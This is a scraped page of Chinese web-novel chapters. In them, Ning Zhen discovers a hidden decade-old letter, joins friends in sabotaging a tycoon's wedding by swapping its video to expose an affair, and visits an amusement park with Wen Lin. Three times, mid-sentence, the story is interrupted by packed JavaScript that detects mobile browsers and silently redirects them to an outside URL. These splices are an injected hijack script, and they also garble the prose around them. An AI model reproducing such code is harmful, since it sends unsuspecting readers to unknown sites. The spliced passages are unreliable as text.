大概当年哭得昏天黑地,匆匆看过,也一并丢了。宁蓁总算知道了什么是因什么是果,她有点儿恼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071764|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不甘心地撑开信封,又一次确认里头空空如也。 这恐怕是她能找到的唯一一封。 后来翻遍原木色的老房子,仍旧一无所获。 她抱住膝盖叹了口气,莫名委屈得眼睑泛红。 没有回信了,再也没有。 为什么当时她就不能…… 身体卸力,胳膊搭在膝头垂下来,手指还捏着空信封,沉甸甸的。 等等。 沉? 宁蓁起了疑心,指尖掐一下信封边缘,掐出两声簌簌的脆响。 她举起来,对着天花板的灯眯了眼睛。 它落地的时候声音更重,厚度也和一般的信封不一样。 她撑起身子,摸向桌角的笔筒。信封内有机关——十六岁的她倒在了潮湿的血水里,眼前蒙上猩红,完全错过了这些线索。 剪刀割开密合的侧面。 果然,是嵌套结构,里面除了丢失的信,还在夹层中藏着东西。 宁蓁轻轻抽出—— 新的纯白信封,尺寸更小,用A4纸折成。 封盖上蓝黑色碳素笔写着:给师姐。 窗外积了雨云。胸口一股炽热呼之欲出,她长发里渗出薄汗,谨慎地撕开封口。 一张小纸片。 「九师姐你好,这是我的联系方式」 「我想认识你……」 「如果不介意」 「可以加我好友吗?」 宁蓁踉踉跄跄抄起手机,右手颤着点开“新的朋友”“添加好友”,输入那串字母。 甚至来不及按下搜索,下拉栏已经跳出联系人,一方月白的纯色头像。 点进去,直接跳转到对话界面。 真的是他。 她双唇微张,哽咽着,眼泪涟涟打在屏幕。 许多事、许多细节忽然拧到了一起。为什么他有时能读透她的想法;为什么他说“后期奎因问题”,说“凶手会回到犯罪现场”;为什么他问“学校里有没有鹅”;为什么濛濛细雨的夜晚,分明第一次见面,他却知道她曾经的志向是中文系。 还有为什么…… 我总对他感到熟悉。 原来一切,都有迹可循。 她眼眶盛不下泪水,掉下来就忙用手背拭掉,另一只手紧紧捏住跨越了十年的来信。 我的回应竟然晚了那么久…… 岁月无情地折叠。她放肆哭着,仿佛哭得时间倒流,流向模糊的童年。 * 当天再见面是傍晚,天空烧得通红,他们站在古槐下听晚上的撞钟。 “蓁蓁!啊,有边牧博士!” “嘘,别打扰他们。” 两名披着义工马甲的女生走过,朝她摆摆手。 沐沐换以站姿表示热情。温霖问:“她们是?” 宁蓁说:“新来的义工。” 钟声回荡着,留下微妙的寂然。 她目光悄悄往身边挪,落到他漆黑的衣袖。一切变得不可思议了,譬如白日会由短变长,譬如小狗能自如控制自己的尾巴。 譬如这个时隔十年,再次重逢的世界。 你什么时候认出了我?宁蓁想问,却轻抿着唇。 她不知道温霖也迟迟开不了口。 “师姐……”他有些忌惮,怕哪句话触碰创伤。 太安静了。 突然,沐沐朝着寺门低吠两声,宁蓁吓了一跳,不自觉抬起右手牵向温霖的袖口。 ——不行。 她意识紧绷,悬在半空的手匆匆放下。 “我们,”温霖嗓音低缓,“去游乐园吧。” “嗯?”宁蓁还在怔怔地想,怎么自己总要拉住他上衣的某个边角。 他微微笑了:“一起去游乐园玩吧。” 好像要履行某个约定,温霖主动提出邀请。宁蓁动摇了,却重新覆上一层冰冷的疏离,望进他深邃而专注的双眼。 “对不起……” 38. 侠义小队(上) 周末,北城郊外。 莫昭一向喜欢亲自掌控方向盘,难得让司机上班。车子飞速行驶,宁蓁依然懒得辨认,只觉得车身很长,内饰清一色真皮,冷血的蛇一样。 车内后座,男人摊掌扣住那只纤细手腕:“待会儿好好跟着我,别走丢。” 她后颈发热,没躲开,反而露出一抹笑。 莫昭见她唇上闪着润泽的光,倾身过去。 “妆,”宁蓁敏锐地偏头躲了躲,“化妆师那么贵,弄花了没人补。” “笑吧,蓁蓁。”他今天心情挺好,“只要你肯笑,场子里谁都比不上你。” 莫昭的赞美总让人飘飘然,糖衣炮弹似的,一不留神就被轰得晕头转向。 路边一水儿的豪车。今日来客众多,有的之前未到场,正想见见莫总带来的女伴。等车停稳,开了门,迈出一条长直白皙的小腿,裙摆都盈着风。 她穿了上次的礼服,据莫昭说,他在国外精挑细选,终于寻到一套和她相得益彰的。下车后,诸人视线齐刷刷砸过来,她忍着,硬没去拢胸前空荡的衣领,等前男友走到身边,主动挽住他手臂。 “哟,莫总!上次没见着,今儿有没有空,腾出点时间叙叙旧啊?” 身边的莫总傲睨一眼来者。婚礼会场变成奢靡的生意场,宁蓁依旧只负责静静观看。 那人不懂眼色,直愣愣谄笑着:“我们周家也好出一份力嘛,这鹭山的工程……” “上次我已经网开一面了。” 莫昭打断他,一句话让那位西装革履的周总闭了嘴,随后对宁蓁低低耳语。 “走吧。” 仿佛他们很亲密似的。呼吸扑在耳际,她浑身汗毛竖起。 豪门婚礼自然隆重,比上回高级晚宴还辉煌,黑的底,白的花,亮闪闪的钻,不知怎么晕成一股诡异的铁青色。舞台大得看不到边,中间是新娘该走的路,两旁摆着精致的兔子雕塑,两只发亮的红眼鬼气森森。 在场的皆衣冠楚楚,顾着自己交际。宁蓁跟着他走,眼前浮现出莫昭的执念:每一辆车头都有个摔倒的兔子。 “时候还早,去贵宾室坐坐?” “正好我想喝杯咖啡。” 她对男人扯开笑容。穿过大厅,迎面一名清洁工装束的女士提着簸箕和笤帚,脚下不小心打了架,绊得宁蓁一个趔趄。 清洁工顿时慌了,蜷成虾子:“哎哟,对不起夫人!” 她说没事,往对方手心扶了扶,尔后抚平礼服的褶皱。 走廊深长清净。 “蓁蓁。” “怎么。” 莫昭的薄唇泄了道口子:“今天这么听话?” 宁蓁抬眸,心脏忽悠一下滑过针尖。 “听话”? 当然,她不可能无端变成这样。 * “小唯,你来福缘寺做义工,不只是为了寻找灵感吧。” 寺内藏着一双眼睛,除了义工组长另有其人。怀疑重重压在心底,情况和大学期间如出一辙,但微信里的小狗头像给了她启发。 沐沐.:「明天好不好,明天天气晴朗!」 对啊,明天。 她不想再装得若无其事。次日,宁蓁约室友离了寺,鹭山脚下,两人吹着凉风,她递给安唯一罐冰镇啤酒。 对方缓缓转过来,满脸错愕,脸庞被落日映红。 “这个嘛……” 啪—— 安唯单手撬开拉环,问:“你怎么知道的?” “昨天晚上我在梧桐斜街看见你,”宁蓁用啤酒润了润唇,苦涩的气泡涌进喉咙,“你却说你在寮房。” 她们各自沉默三秒。 对方仰了头,认命般叹气道:“低级错误……果然瞒不过凝真老师啊。” 指尖麻木。之前她收着戒心,也因为小唯曾经在“文字片场”上买过她零散的创作。 “的确,给桌游找灵感只是我的借口。” 安唯痛快地灌下一大口酒,丝毫没有被识破后的狼狈。 “犹豫了几天要不要坦白,唉,早知道不纠结了。你记得吧,我不想再看女人被惩罚的故事。” ——初入寮房时室友透露了自己的偏好:希望偏离轨道的女人能获得幸福。 奇怪。 宁蓁歪了头,因为小唯抽出了一条她从未设想的线。 “我朋友被安排‘嫁入了豪门’,”安唯两指弯了弯比划引号,“现在我们打算帮她脱离苦海。” “然后呢。” “她法律上的配偶有绿帽妄想症,一天到晚监视她,怕她和其他男的私下接触,就这样过了两三个月,终于被我们找到视线死角。” 她鞋底踏两下柏油路,示意鹭山是唯一的例外。 宁蓁脑海中闪过白旗袍和女性保镖。“为什么?” “这里不是有个什么计划吗。” “鸿鹄计划。” “对,搞得像兵家必争之地一样,谁都想整点大活儿。我也打算起个名字,帮已婚女人逃离婚姻陷阱……就叫‘海鸥计划’吧!” 安唯煞有介事地思索,随后一口饮尽,把空罐子捏得喀喀响,扭头问她: 蓁蓁,要加入吗? 啤酒冰得脑袋发胀,她仿佛被蛊惑了,缓缓张嘴。 * 两名黑衣保安把守着贵宾室。 越是有钱人,越不信任监控摄像头。邀请函已经筛掉一大部分,凡是到场的,滚也好,爬也好,多多少少算踏进了这个圈子。圈内自有一套潜规则,最明显的一点,谁都不愿意把隐私交给机器。 她扫视一圈,果然如此。 建筑物从外面看是一座教堂,内部整体恒湿恒温。气温体感不过二十度,她打了个寒战,双手覆住上臂取暖。 服务生打点一番,关了门,密闭的屋内只剩他们两人。宁蓁站到窗边,悄悄从挎包中解锁手机。 「已送达」 「情况有变!化妆室请求支援」 背后一股玫瑰香水袭来,宁蓁手指磕碰着包里的钥匙,肩膀撞上他西装的手帕袋,蹭下一片香味。 又来了,心脏堪堪掠过银针的感觉。 心跳剧烈,呼吸急促,浑身像浸了水一样黏腻潮湿。 “你真瘦啊。” 莫昭的目光沿着她纤薄的背一寸寸抚摸。 她尽可能摆出柔软的神情,逃开。“我要去趟卫生间。” “等等,”男人威厉的嗓音拽住她长发,“手机留下。” 她拧眉,转身问:“这是什么规矩?” 莫昭露出促狭的笑意。 “帮你保管而已。” “……” “以前你很喜欢啊,现在长大了,不愿意了?” 真的么。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071765|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “以前”,她乖乖把手机交出去,任他输入密码随意浏览? 过去的记忆已经碾成齑粉,无从考证。宁蓁故作天真地伸出手:“那我也帮你保管。” 屋内天寒地冻。 外面一阵窸窣,门被推开,服务生请进那名周家男人,他叼着烟,换了副高高在上的嘴脸。 “莫总,您要是不听听我的意见,那成总可要独占鳌头了啊。” 莫昭冷哼一声。 她故意怔愣一会儿,装出识趣的模样走到门外。 那个周总,眼球在她身上滴溜溜转圈,像只浑浊的死鱼,不过她得庆幸他的出现给莫昭添了点麻烦。 楼梯扶手刻着传统的木雕花纹。她用手包挡在胸前,迈上二楼,这身礼服虽然娇贵又不舒适,却足以压过安保的质疑,让她大摇大摆摸到后台。 201房牌,下面贴张纸写着“准备室”。 轻轻叩门没有动静,宁蓁拿出钥匙,转动。 微信群里消息疯狂刷新: 「用的surface,8888」 「经典密码」 「化妆室怎样了?」 「没问题,我接到了」 「模特准备,替身出击!!!」 Surface就摆在桌上。准备室内依旧找不到监控,她迅速把U盘插进拓展坞,顺手抽出纸巾垫着无线鼠标,避免留下指纹。 桌面有个“婚礼”文件夹,双击,拖进同名的“婚礼惊喜”视频,“替换目标中的文件”。 鼠标声咔哒咔哒。 一切似乎过于顺利。U盘弹出,她正要离开,视线刚落在门上,却见黄铜色的把手蓦然自己拧了起来。 “切,马大哈,又没锁门。” 有人! 钥匙钉钉铛铛一串响,婚庆员工推门而入。 “喂,李导,找着了电脑……还有需要的?你说,我一起带过去呗。” 眼前暗无天日,慌忙之中她掀开衣柜,挤进一堆废旧的伴娘裙里。男员工乐呵着自言自语,应该是在打电话。 “行,能有啥事?你老公不回家,那今天下班我们还在亚朵见啊。” 宁蓁双目微瞠。 亚朵酒店?这是能听的吗? “嘿嘿,那有什么的,”他大咧咧的嗓子拐了弯,“叫声哥哥,命都给你。” …… 伴娘裙劣质的网纱刺挠着皮肤。 耳朵不干净了。她尴尬得弯下身子,顺势揉了揉撞青的膝盖。手包拉不动,银色流苏波光粼粼,似乎有两根卡在了柜门。 轻一点儿,蹑手蹑脚地,慢慢救回来。 “唉,你等会儿!我咋感觉衣柜在动呢?你们往里头塞东西了?” 声音穿透隔板逐步靠近。 她倒吸一口气。 紧张的时候,思绪反而离散逃逸。宁蓁莫名掏出手机,屏幕上弹出短信,是下周二的游乐园入场提示。 荧幕暗了,只能再解锁,她的手机没改过PIN码,一直用着铭刻在墓碑上的数字。 妈妈的生日。 “妈妈”,好陌生。 如果以前经常让莫昭保管手机,那他势必要用反问句逼出数字的含义。既然如此,为什么他直到今年还以为李肃是她的母亲? 光亮刺得她眼角抽动一下。 这么看来,他也在说谎。 39. 侠义小队(下) 和小唯聊开的第二天,寮房里来了两名新义工。一个五官明媚妖冶,行动代号是仙女;一个清秀,亲和力浑然天成,代号狐狸。 她以为安唯介绍反了,但对方摆摆手不以为意,笑着说就这样吧。 四张床位一下子填满了人,分掉一半空气。不过她们看起来很好相处,尤其是狐狸,刚一见面就双手合十,兴致勃勃感叹:“我们在哪里见过。” 她一时没想起来。 “之前夜里开车,两次接到你去鹭山的单。” 夜间往远郊跑的出租车,司机坚持目送她上了山门才关了窗开走。 这么巧?宁蓁诧异得几乎哑然。 当晚厨房搭档换成仙女,那女孩性子毫不见外,干活儿也利落,一箱箱土豆萝卜搬得飞快。 “嚯!这姑娘个儿真高啊,练排球的吧!”师傅笑称。 “过奖过奖,”仙女叉着腰哈哈一笑,“我是教瑜伽的。” 她身材颀长,手臂结实有力。宁蓁小时候坐在公园长椅上,听别的家长也这么说过。 “这孩子,又高又漂亮,将来去打篮球吧,唔,排球也不错!” “阿姨说你呢,喜欢篮球还是排球?” 流水般的家常话,小孩往往夹在大人中间赔着假笑,任由他们编排。 别人都厌烦的事,儿时的她只能孤零零坐着、听着。 她默默转向水池。 “你和狐狸关系很好。” 仙女笑得露出八颗牙齿:“还不错喽,我俩是大学室友。” 窗棂外面新叶簌簌地落。宁蓁垂了眼,隔着手套被冷水浸湿。 “你别看她长得像乖乖女,”仙女右手比作传声筒,低着喉咙,“其实date了三个对象呢。” “三个?” 她倏然抬了头。那会不会有点…… 这回话都憋在了心里。仙女嫌弃道:“挺烦的,同时被三人追,她自己又拿不定主意。” 宁蓁想起狐狸的车,有时候放着儿歌,有时候里面坐了银灰色丸子头的男人。 “那他们可以轮岗保证夜里出车。” 仙女噗嗤一声笑了。 她有点不适应。大学期间,永远是她负责制造谈资,八卦,绯闻,某学长又多留意了两眼,没有哪个室友愿意和她聊聊别人。 “哇,有桃子!”仙女不知道从哪儿翻出两颗水灵灵的油桃,“师傅,今年桃子这么早就下来啦?” “我在后院儿种的,不知道怎么的,今年结果儿特别早。”师傅爽快点头,“正好,你俩尝尝吧。” “蓁蓁,接着!” 她一个轻盈的发球动作,宁蓁脱了手套,结结实实接下,握在掌心。 夜里十一点,寮房还没熄灯。 狐狸换了干净睡衣坐在她床上,听对面的小唯布置“海鸥计划”。 “目标是破坏他们的婚礼。”她特意手绘了几张图,用笔记本电脑展示,搞得像朋友们之间流行的PPT之夜。 “提问!”仙女躺在上铺翘着腿,“不是已经结婚了,又办婚礼?” “周年纪念吧,”狐狸猜测,“届时宴请一堆宾客,其实就是换个场地给那群人social。” 小唯打了个响指。 闲言淙淙活活淌过去,凌晨两点才宣告作结。她们都睡不着。仙女和狐狸说重回了大学,彼此提醒讲话小声点,不然等着被宿管阿姨敲门。小唯笑道,寮房哪有阿姨?长方形四人间的结构像极了寝室,只是周围换了人,宁蓁平躺着,感觉胸口酸涩地散开了,似乎正在重新生长。 破坏婚礼这么中二的行动,她一定喝醉了才会答应。 但是…… * 衣柜里透不过气,让硬挺的网纱裙挤着,磨得她皮肤快要过敏。 外面疑惑的脚步越来越近。 宁蓁干脆挎起手包,一脚踹开柜门。 “我草!你……” 男员工吓得左脚拐着右脚退了两步,想骂脏,可柜子里的女人一身高定礼服,目光结成冰,硬把他嘴边的脏话给噎了回去。 “您、您?” “你看错了,”宁蓁冷淡地睁着眼,“我没出现过。” 男员工一头雾水,看了看周围:“啊?这……” “李导,是吧。” 一声询问,傻瓜都该听明白了。 别管她是谁,那人总不希望组内的婚外情曝光。 “是是是,咱们压根儿没见过!”趁着同事还没来,他连忙点头哈腰,给年轻的阔太太送出去。 反正只管今日事成,以后查到她头上又能怎样。宁蓁走出准备室,不远处,化妆师推了辆小车,亮着嗓子高喊:“麻烦让一让!” 车上运载塑料箱,里面铺满布置会场的玩偶。她朝走廊尽头瞄一眼,不久之后,人们会惊呼化妆间成了密室,盛装打扮的新娘竟凭空消失。 「哇哦,成功!」 「太顺利了吧hhhh」 「底下是草台班子在撑着」 原路返回,碰上贵宾室敞着门,众豪门小姐少爷、女士先生进进出出,其间也不乏周总那样谄笑着泯然众人的角色。 莫昭正往外走,迎面过来,狠狠掐住她手腕,问:“跑哪儿去了?” 那双薄唇翕张,轰然带起一股骇浪,把她往水里按。 “卫生间……”宁蓁回应,却恍然加了一句,“去整了整头发。” 他停几秒,看着她,满意地撑开唇角。 “够了,比新娘还美。” 婚礼即将开始。 人头攒动,宽绰的厅堂削成一盏瓷碗。气温幽幽地低,红眼兔子森然排列,面无表情供奉着步道。新娘必须用白纱笼着头颅,手捧鲜花,接受所有人的俯视,眼含热泪走完那条红毯路。 宁蓁脑海中忽然跃出一个想法:这分明是一场献祭。 灯光奢靡地亮了,配合背景音乐的节奏闪烁。 他们站在前排,挨着窗。她余光坠到一楼的草坪去,鲜绿的郊外,一辆不起眼的奶白色轿车倒进公路,踩了油门加速疾驰。 视线回正,眼前一片紫红。 烂漫的灯光秀拉开序幕,一簇簇射入莫昭镜片下的瞳孔,他假意凑近宁蓁颈侧,低声问她喜不喜欢。 “喜欢?” 心里涨了水,翻着滚着,跳动声汹汹地冲到耳边。 为什么,她总是控制不住心跳的频率? “喜欢的话,”他说,“我们也这么办。” * 作战计划最终成型。狐狸扮演清洁工,仙女是化妆师,小唯混入场地游走,而她负责替换视频,送他们一份出其不意的祝福。 原本以为没必要再和莫昭见面了,虽然上次她也这么想。 “寺里的义工互称师兄啊。” 寮房内飘着沐浴露的香气。 “嗯,但其他人都称呼姓,只有蓁蓁是全名加‘师兄’。”狐狸擦着头发回应。 仙女问:“哦,为啥?” 狐狸说:“因为有同姓的人吧。” 她们闲聊着天,突然小唯冲了进来,神秘兮兮对宁蓁眨眼,说“待解救的朋友”想见见她。 我? 宁蓁揣着好奇心穿越松廊。 竹下有风,拨出萧然的响,远处,木鱼声波纹似的漾开。 法堂后站着一名女性,运动装,高挺鼻梁上架着黑墨镜。她们见过,清明节时安唯带朋友来,两人陪了沐沐整个下午。 “嗨,”女人主动挥手,“蓁蓁。” 她忽然停顿。 “啊,我听大家都这么称呼你,所以……” 对方的手挥在半空又撂下了,慌忙解释着。 “这样就好,您怎么称呼?”她回过神。 女人摘掉墨镜,即使素颜朝天,那双微微上扬的眼依然和猫一样标致。 “我叫慕容殊。” “‘Shu’是……哪个字?” “特殊的殊。” 好酷,宁蓁差点惊呼,又转念想,她有这么特别的名字,别人却称她为成太太。 不可思议。 前几天流光溢彩的晚宴,被莫昭呵斥,伏向满地碎片的时候,是她捧起宁蓁颤抖的手。 “这次麻烦你们了,要收拾我的烂摊子,大家兴师动众的。” 她话音轻软,完全不像印象中那样咄咄逼人。 “我也要谢谢你,上次。”宁蓁说。 慕容殊笑了,摇摇头,欲言又止。 一切都解释得通了——小唯天性友善,唯独看见她那条Valentino时掩不住冷落的表情。她和莫昭走得太近,恰好他和成理是所谓的发小,她的天使朋友把握不好她这个变数,便一直瞒到现在。 竹叶轻响。 “你们在别人眼里是神仙眷侣。” 她想起了李肃的婚姻,语气寒冷生硬。 “嗯,商界精英和他的名牌包,不,是名牌手表。” 慕容殊笑应,双唇弯起,流露出一丝轻蔑的嘲弄。 “蓁蓁,我不是第一次讲这种故事。”她挑起猫眼,“一个人拥有我难以匹敌的财富,往往意味着他掌握了所有权力,更何况那是个男人。” “……” “什么都是他喜欢的模样,旗袍,高跟鞋。他觉得我穿成那样最让人……”她顿了顿,改了口,“羡慕。” 她今天抛弃了那些枷锁,不那么“美”,却显得无比自然。 宁蓁心里重重拧了一下,脑海中浮现出她难以启齿的字眼—— 并非“羡慕” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071766|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而是“垂涎”。 “有人愿意交换他的资源,但我不想奉陪了,蓁蓁……” 话音未完,被悠远的钟声截断。 风埋在底下,宁蓁呢喃道,敲钟了。 慕容殊左手拢头发到耳后,过一会儿才续上话:“抱歉,我这边不好用,先天失聪。” 她怔怔地说,只是八点的钟响了。 两人沿松廊往外走。竹梢上升起一轮月亮,渗着血,一面庞大的生灵的脸,缀着颗红眼睛。 “蓁蓁,听我说,”对方一只手探过来,湿热的手掌温软地捏着,有些暗暗的急切,“他们那群人最近特别迷信,流行搞风水测八字,你……” * 那晚,月亮有斑驳的脉络。 宁蓁想起了件不相关的事:她藏进林子里,碰见他们上山门的时候,莫昭特意绕向了左边。 殊姐的左耳不方便,他没听说过吗? “我们。”她重复着,按住胸口的剧烈跳动笑了笑,“你办吧,记得发请柬给我。” “别闹了。” 莫昭也笑,游刃有余似的,以为前任女友在和他调情。 宾客还顾着讲话,各自暗流涌动,没人知道后台早乱成了一锅粥—— “怎么回事?新娘人呢?” “刚才还在化妆室补妆,现在连人带婚纱一起消失了……” “一个大活人都能给搞丢,你们都瞎了吗!” “赶紧联系新郎!” 半晌,场内终于露出躁动的苗头。 对讲机拨开,负责人扯着领带满头大汗:“A组注意,先放视频拖点儿时间!” 一声令下,巨型屏幕缓缓亮起,衬得步道两侧的兔子眼更鲜更红。 婚礼正式开始。 掌声雷动,伴着欢呼此起彼伏,直到荧幕上出现新娘的脸。 “嗨,成理,好久不见。” 慕容殊身披婚纱,全妆出镜。敞亮的别墅一层,阳光暄煦,在木地板上融化。 “他们要我在仪式之前录一个视频给你。嗯……我们之间,还有什么好说的呢?” 她深深呼吸,一举一动衔住众人心神。 “你是一个体贴的配偶,喜欢无微不至的照护……” 长久的停顿。新娘说着说着忘词了,从镜外接过一张纸:“哦,我最好把稿子拿出来。” 现场传染着温馨的笑,宁蓁默不作声。 “你对待家庭的态度认真严谨,事无巨细地掌控所有。”音响中继续传出声音,“你的行动总是充满自信,无需建议。在日常生活中,你具有良好的习惯,合理保持着距离,将不为人知的秘密排除在外。” 明褒暗贬。 部分人听懂了,微微变了脸色。 “这样优秀的你仍不满足于现状,在家庭关系之外寻求着进一步发展的空间。” 班主任写给小学生的期末评语告一段落,屏幕里,慕容殊放下稿子直视镜头。 “亲爱的成先生,以及成先生的爱人。” 睫毛忽闪忽闪,口型确凿。 宾客们满头雾水。“成先生的爱人”不是她自己?这是哪个文学流派的修饰手法? 场内顿时鸦雀无声,只有慕容殊轻描淡写说话,带着笑。 “我相信,你今天也出席了婚礼吧?” 美丽的猫眼定了定神,目光炯炯注视着所有人。 “家里红旗不倒,外面彩旗飘飘,成先生是这样的。” 她摘下白纱一步步靠近,抬手罩在镜头上。 画面朦胧,她说:“所以今天,这个场子交给你啦。” 啪—— 视频掐断。 她人不在现场,嗓音却像魔咒般回荡,久不消散。 “她的意思是——婚外情?!” 厅堂霎时炸开了锅。 “各位来宾抱歉,我们的影像出了差错……” 婚礼司仪被推出来打圆场。可是来不及了,场面已经一片哗然,天翻地覆。 宁蓁听见后方的闲言碎语: “嘁,圈子里著名的金玉良缘,结果还是那样不堪。” “慕容那么漂亮,他还在外面拈花惹草,也不怕婚外情破了运势。” “出轨的谁啊,王总女儿?杨总的老婆?……不会是你吧?” 怀疑的白纱蒙在每个人心上。 突然,莫昭推了她一把。 “闹剧而已,你还想看下去?” 走廊亦不安静,里面的喧腾溢了出来,沸水一般烫人。他笔挺的西装皱了,唇边反倒很松快。 “你心情挺好。”宁蓁问。 远处,似乎是新郎的身影迅速接近。 莫昭点了根烟。 “你先打车走吧,我有事得忙。” 40. 师姐救我 几天后,听闻慕容殊与成理协议离婚的消息。 成总千防万防,防不住她身边的女同胞。他太信任她们,或者根本没把女人放眼里。新娘失踪,放视频挑衅,他第一时间找上莫昭,怀疑“发小”从中作梗。宁蓁怕引火上身,没留下观望,只听背后传来幽幽的老话。 “若要人不知,除非己莫为。” 后来两人扭作一团。成理脖子憋红了,上脸又变成紫的。那时她已经离开会场,远远隔着彩绘玻璃瞥了一眼,装作无事发生。 计划圆满落幕。 “明天去吃烤肉怎么样?” 下山的时候到了。两人摊开行李箱,慢慢悠悠叠衣服。深春,阳光洒在窗台。对方递来一本书,她的野生鸟类图鉴,宁蓁摇头,推回去,说送给你。 “对了,还有这个,”她还回小唯捡到的旧鸟哨,“无人认领。” 安唯挠了挠后脑勺:“哎,说实话,刚知道你会鸟哨那几天,我特别想亲眼看看。” 她的手艺在莫昭的圈子里传开,流到殊姐那里,自然也流向小唯。 “没什么特别的。” 宁蓁拿出常用的竹哨,放到唇边,轻轻吹气。 心率还算平缓。她后知后觉,发现吹奏它不再是件痛苦的事。 “哇,有小鸟!天啊,蓁蓁,你太厉害了!” 小唯眼里闪着光彩,仿佛让人回到十年前,回到操场那棵高耸的杨树底下。第一次,当着好朋友的面展示鸟哨时,那名女高中生露出了一样亲近而崇拜的神情。 不知道悦悦后来怎么样了…… 她还好吗? 再垂眼,见安唯正捧着旧的哨子,感动地交到自己手里。 “留在我这儿简直暴殄天物,我宣布,它认你为新主人。” 她笑了。窗外啁啾声正热闹,小唯收着收着,一个翻身,懒懒趴在床上。 “所以明天去吃烤肉怎么样?” “可是明天我得去游乐园……” * 上次,宁蓁同意了温霖的邀请。 没有拒绝的理由,只是她们得先解决慕容殊的婚礼,所以她道歉,请他延期。他变得越来越好懂,如果她说“对不起”,他的眼神就暗暗颤几下;如果问“能不能约在下周”,又晃漾着扬起来。 两句话牵动一个人的明灭。 但她难免重新筑起心防,因为他是个“十几万粉的小网红”。 周四,人流量最低的一天。 早上晴空万里,这会儿天色又阴下来。西门游客稀稀疏疏,温霖穿了柔软的黄色卫衣,站在葱翠的树篱边,显得清隽明朗。 他背着单反,旧款式,遥遥举起右臂呼唤她。 “师姐——!” 既视感掠过,左心房忽然一阵酸涩。 也许像梦吧。 也许在山水之间飘摇的“师弟”,原型是你。 宁蓁边想边走近。春天的风吹过,含着水汽,她摊开手掌挥了挥,指尖顺着风跃向相机的黑色背带。 等等,停。 衣袖,衣服下摆,相机带子。不止一次了,她总是未经允许就想扯住他身上的某个部分。 “今天气温刚好。” “嗯……” 指腹凭空传来熟悉的触感。宁蓁走了神,但面无表情,他应该看不出来。 乐园内道路宽阔。温霖在她左侧,笨重的单反沉沉往下坠,背带压着右肩。 “师姐想玩什么?”他问,右手托起相机对准前方的喷泉。 横摆的秋千划成圆圈,不时甩出几声尖叫。远处有座跳楼机,插进过山车轨道的间隙,钢筋直上直下。 宁蓁展开游乐园的地图想了想:“旋转木马吧。” 不失为明智的选择。 合上宣传册,抬眼一缕光破开云层,温霖倒退几步,用单反捉住师姐的侧脸。 长发拨到耳后,贝雷帽洒下一小片阴影,落入淡漠的眼睛。 咔嚓。 清脆的机械快门。 听见声响,她转过头直直望着镜头,望到他耳根发热。 “……抱歉。”温霖定在原地。 宁蓁不介意被拍,只疑惑道:“不重吗。” 他左臂垂下,单靠右手撑起一台老家伙。 “肩膀的伤还没好,”他笑应,只有耳朵红着,“最近都休假。” 温霖似乎经常带伤。对了,因为他学过舞蹈。前不久她还感慨蓝色的运动绷带像仿生人的血液。这么看来,正面撞上莫昭那天,他的左肩也无法活动…… 怪不得说到舞蹈生的习惯,原来一直都在忍痛。 宁蓁心里晃了几下。 ——事实证明,他们只能玩玩旋转木马。 周四白天几乎无人排队。等候区的栏杆兜兜转转,他们一前一后踱步,她不知道怎么,走着走着突然回身,伸手和他要相机。 “能不能借我拍几张。” 冰冷的索求。温霖褪下背带,滞了一瞬。他不想直接递过去,于是单手拢在她头顶,沿着颈项挎上。 师姐微微仰着。他手臂悬空,但一弯就能把人按进怀里。 “身高差”,宁蓁移开目光默默想。 温霖懂得分寸,收了手。 她举着相机坐上一匹小马原地打转。音乐是彩色的,快乐地连绵起伏。景框里装满了他,她拍得简单,不调整光圈和ISO,只隔着镜头让青草的香气一阵阵扑过来。 “光线不好。”她一下拍了十几张。 镜头背光,画面是乌沉沉的影子。 走出旋转的木马,宁蓁一张张翻阅,视线仔细描摹着黑暗中的轮廓。 他凑近看了看,开始心不在焉:“是啊。” 游客出乎意料变多了,温霖主动提出去坐一圈摩天轮。私密空间,没有第三个人打扰,天上的太阳和云也听不到。她也在等这样的场合。 摩天轮伫立在游乐园正中央,吊舱早就升级,不像过去那样摇摇欲坠,靠乘客的体重维持平衡。 他先迈进去,转身护着师姐,但仍然选择坐在对面。 湿润的水汽隔绝在外,空气干燥,风摩擦着轴承,响起低哑的噪音。 宁蓁继续假意翻看照片。 借来单反,一部分是为了说真心话时手里有事可做。 “我找到高中的信了,应该是,最后一封。” 沉着的嗓音猝不及防剖开他胸口。 “……你还留着?” 眉眼被阳光照亮,温霖却偏斜身体紧盯着地面,不肯与她对视。 “之前的因为搬家弄丢了,里面的内容也……”指尖按得急了些,相似的照片飞掠而过,“只找到信封,信封里还夹着信封,我当时错过了,现在拆开才看见他的微信就是你的。” 他们正在缓缓上升,离地表渐远。 她不小心剥离了“他”和“你”,都是同一个人。 